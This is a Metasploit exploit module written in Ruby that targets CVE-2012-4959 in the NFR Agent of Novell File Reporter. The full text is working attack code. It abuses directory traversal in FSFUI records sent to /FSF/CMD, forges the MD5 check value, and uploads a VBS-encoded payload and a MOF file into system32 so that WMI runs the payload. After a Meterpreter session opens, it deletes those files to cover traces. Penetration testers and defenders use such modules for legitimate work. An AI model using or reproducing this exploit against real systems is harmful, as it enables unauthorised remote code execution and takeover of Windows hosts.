NFR Agent FSFUI Record File Upload RCE



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
    include Msf::Exploit::WbemExec

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'NFR Agent FSFUI Record File Upload RCE',
            'Description'    => %q{
                NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to upload
                arbitrary files via a directory traversal while handling requests to /FSF/CMD with
                FSFUI records with UICMD 130. This module has been tested successfully against NFR
                Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1).
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'juan vazquez'
                ],
            'References'     =>
                [
                    [ 'CVE', 'CVE-2012-4959'],
                    [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959' ]
                ],
            'Payload'        =>
                {
                    'Space'           => 2048,
                    'StackAdjustment' => -3500
                },
            'DefaultOptions' =>
                {
                    'WfsDelay' => 20
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    #Windows before Vista
                    [ 'Automatic', { } ]
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Nov 16 2012'))

        register_options(
            [
                Opt::RPORT(3037),
                OptBool.new('SSL', [true, 'Use SSL', true]),
                OptInt.new('DEPTH', [true, 'Traversal depth', 6])
            ], self.class)

    end

    def on_new_session(client)

        return if not @var_mof_name
        return if not @var_vbs_name

        if client.type != "meterpreter"
            print_error("NOTE: you must use a Meterpreter payload in order to automatically clean up.")
            print_error("The following files must be removed manually:")
            print_error("The VBS payload: %WINDIR%\\system32\\#{@var_vbs_name}.vbs")
            print_error("The MOF file (%WINDIR%\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof)")
            return # That's it
        end

        # stdapi must be loaded before we can use fs.file
        client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

        begin
            print_good("Deleting the VBS payload \"#{@var_vbs_name}.vbs\" ...")
            windir = client.fs.file.expand_path("%WINDIR%")
            client.fs.file.rm("#{windir}\\system32\\" + @var_vbs_name + ".vbs")
            print_good("Deleting the MOF file \"#{@var_mof_name}.mof\" ...")
            cmd = "#{windir}\\system32\\attrib.exe -r " +
                "#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
            client.sys.process.execute(cmd, nil, {'Hidden' => true })
            client.fs.file.rm("#{windir}\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
        rescue ::Exception => e
            print_error("Exception: #{e.inspect}")
        end

    end

    def peer
        "#{rhost}:#{rport}"
    end

    def exploit

        # In order to save binary data to the file system the payload is written to a .vbs
        # file and execute it from there.
        @var_mof_name = rand_text_alpha(rand(5)+5)
        @var_vbs_name = rand_text_alpha(rand(5)+5)

        print_status("Encoding payload into VBS...")
        payload = generate_payload_exe
        vbs_content = Msf::Util::EXE.to_exe_vbs(payload)

        print_status("Generating VBS file...")
        mof_content = generate_mof("#{@var_mof_name}.mof", "#{@var_vbs_name}.vbs")

        print_status("#{peer} - Uploading the VBS file")
        worked = upload_file("WINDOWS\\system32\\#{@var_vbs_name}.vbs", vbs_content)
        unless worked
            fail_with(Failure::NotVulnerable, "Failed to upload the file")
        end

        print_status("#{peer} - Uploading the MOF file")
        upload_file("WINDOWS\\system32\\wbem\\mof\\#{@var_mof_name}.mof", mof_content)
    end

    def upload_file(filename, content)
        traversal = "..\\" * datastore['DEPTH']
        traversal << filename

        record = "<RECORD><NAME>FSFUI</NAME><UICMD>130</UICMD><FILE>#{traversal}</FILE><![CDATA[#{content}]]></RECORD>"
        md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
        message = md5 + record

        res = send_request_cgi(
            {
                'uri'     => '/FSF/CMD',
                'version' => '1.1',
                'method'  => 'POST',
                'ctype'   => "text/xml",
                'data'    => message,
            })

        if res and res.code == 200 and res.body.include? "<RESULT><VERSION>1</VERSION><STATUS>0</STATUS></RESULT>"
            print_warning("#{peer} - File successfully uploaded: #{filename}")
        else
            print_error("#{peer} - Failed to upload the file")
            return false
        end

        true
    end

end